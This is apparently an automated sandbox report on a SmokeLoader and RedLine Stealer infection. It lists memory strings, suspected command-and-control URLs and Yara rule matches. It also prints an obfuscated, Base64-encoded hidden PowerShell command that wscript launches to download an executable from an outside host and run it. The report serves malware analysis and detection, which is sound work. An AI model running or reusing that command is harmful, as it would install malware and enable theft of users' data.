Source: explorer.exe, 00000009.00000003.2158371858.000000000D48C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ceoconstractionstore.pl/
Source: explorer.exe, 00000009.00000003.2158371858.000000000D48C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2697713798.0000000008970000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158497917.000000000D4D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2705072858.000000000E0E0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2161005360.000000000D50E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ceoconstractionstore.pl/index.php
Source: explorer.exe, 00000009.00000003.2158371858.000000000D48C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2704218980.000000000D494000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ceoconstractionstore.pl/index.php2
Source: explorer.exe, 00000009.00000002.2705072858.000000000E0E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ceoconstractionstore.pl/index.phpq
Source: powershell.exe, 00000004.00000002.1605660173.0000023BF6D53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 00000004.00000002.1601037332.0000023BF6A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: explorer.exe, 00000009.00000000.1643693604.00000000094DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2697965705.00000000094DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2697965705.000000000952D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1643693604.000000000952D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000009.00000000.1643693604.00000000094DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2697965705.00000000094DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1643693604.0000000009519000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2697965705.000000000952D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2697965705.0000000009519000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1643693604.000000000952D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 00000009.00000003.2158371858.000000000D48C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2704218980.000000000D494000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://dneagbdmtkktop.org/
Source: explorer.exe, 00000009.00000003.2158371858.000000000D48C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2704218980.000000000D494000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://dneagbdmtkktop.org/Si
Source: explorer.exe, 00000009.00000002.2704218980.000000000D494000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ebsdyhoseklppw.com/
Source: explorer.exe, 00000009.00000003.2160838999.000000000D611000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158231022.000000000D5DD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158577894.000000000D5E3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ebsdyhoseklppw.com/application/x-www-form-urlencodedMozilla/5.0
Source: explorer.exe, 00000009.00000002.2704218980.000000000D617000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2160776082.000000000D615000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158231022.000000000D5DD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158577894.000000000D5E3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://nqgjgifqepqt.com/
Source: explorer.exe, 00000009.00000002.2704218980.000000000D617000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2160776082.000000000D615000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158231022.000000000D5DD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158577894.000000000D5E3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://nqgjgifqepqt.com/application/x-www-form-urlencodedMozilla/5.0
Source: powershell.exe, 00000004.00000002.1555298135.0000023BE0427000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1594654043.0000023BEEB04000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1594654043.0000023BEEC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: explorer.exe, 00000009.00000000.1643693604.00000000094DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2697965705.00000000094DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2697965705.000000000952D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1643693604.000000000952D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000009.00000000.1640285854.000000000305D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2693087527.000000000305D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: powershell.exe, 00000004.00000002.1555298135.0000023BDECBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: explorer.exe, 00000009.00000002.2696616097.0000000007B10000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000009.00000000.1642682648.0000000007AF0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000009.00000000.1640014437.0000000002C00000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: powershell.exe, 00000004.00000002.1555298135.0000023BDEA91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 00000009.00000003.2158371858.000000000D48C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158231022.000000000D5DD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158577894.000000000D5E3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://unicexpertmagazine.pw/
Source: explorer.exe, 00000009.00000003.2158371858.000000000D48C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://unicexpertmagazine.pw/32
Source: explorer.exe, 00000009.00000003.2158371858.000000000D48C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://unicexpertmagazine.pw/91-1
Source: explorer.exe, 00000009.00000003.2158371858.000000000D48C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2704218980.000000000D494000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://unicexpertmagazine.pw/index.php
Source: powershell.exe, 00000004.00000002.1555298135.0000023BDECBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: explorer.exe, 00000009.00000000.1641669934.00000000070CE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158638981.00000000070D7000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000009.00000002.2704218980.000000000D494000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://xcltdjfoaardilo.net/
Source: explorer.exe, 00000009.00000002.2702499050.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2159742625.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158696563.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1646718148.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppin
Source: powershell.exe, 00000004.00000002.1555298135.0000023BDEA91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: explorer.exe, 00000009.00000003.2159742625.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158696563.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1646718148.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000009.00000002.2697965705.00000000093B4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1643693604.00000000093B4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/$
Source: explorer.exe, 00000009.00000002.2697965705.00000000093B4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1643693604.00000000093B4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/X
Source: explorer.exe, 00000009.00000000.1639328782.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1640285854.0000000002FA0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2691810923.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2693087527.0000000002FA0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000009.00000002.2697965705.00000000093B4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1643693604.00000000093B4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=C2BB6DDCE8D847D6B779FE8AEC27D161&timeOut=5000&oc
Source: explorer.exe, 00000009.00000000.1640285854.0000000002FA0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2693087527.0000000002FA0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000009.00000002.2697965705.0000000009390000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1643693604.0000000009390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comWzE
Source: explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark
Source: powershell.exe, 00000004.00000002.1594654043.0000023BEEC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1594654043.0000023BEEC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1594654043.0000023BEEC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: explorer.exe, 00000009.00000002.2702499050.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2159742625.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158696563.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1646718148.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.comE
Source: powershell.exe, 00000004.00000002.1555298135.0000023BDECBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1555298135.0000023BDF6BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15G9PH.img
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hJkDs.img
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBNvr53.img
Source: powershell.exe, 00000004.00000002.1555298135.0000023BE0427000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1594654043.0000023BEEB04000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1594654043.0000023BEEC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: explorer.exe, 00000009.00000002.2702499050.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2159742625.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158696563.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1646718148.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.comNaP0B
Source: explorer.exe, 00000009.00000002.2702499050.000000000CFF4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158696563.000000000D0B8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1646718148.000000000CFF4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcemberZ
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000009.00000000.1644607896.0000000009730000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2699343946.0000000009730000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/bat
Source: explorer.exe, 00000009.00000002.2702499050.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2159742625.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158696563.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1646718148.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com576
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/health/wellness/7-secrets-to-a-happy-old-age-backed-by-science/ss-AA1hwpvW
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/companies/legacy-park-auction-canceled-liquidation-proposed-here-s-w
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-al
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/realestate/my-husband-and-i-paid-off-our-mortgage-more-than-15-years
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/crime/bar-fight-leaves-man-in-critical-condition-suspect-arrested-in-
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/crime/one-dead-several-wounded-after-drive-by-shootings-in-south-la/a
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/opinion/decline-of-decorum-21-essential-manners-today-s-parents-fail-
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/california-workers-will-get-five-sick-days-instead-of-three-
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/pastor-of-atlanta-based-megachurch-faces-backlash-after-controv
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/ukraine-live-briefing-biden-does-worry-house-drama-will-impact-
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve
Source: explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1658821304.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1658888908.00000000006D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1937588498.0000000002181000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1937415520.00000000007C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 0000000A.00000002.1937502143.00000000007ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.1659047327.000000000090D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.1658821304.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.1658888908.00000000006D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.1658776261.00000000006A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000A.00000002.1937393700.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000A.00000002.1937588498.0000000002181000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000A.00000002.1937415520.00000000007C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\oBuf.exe

Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Shell Automation Service HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{13709620-C279-11CE-A49E-444553540000}	Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=	Jump to behavior

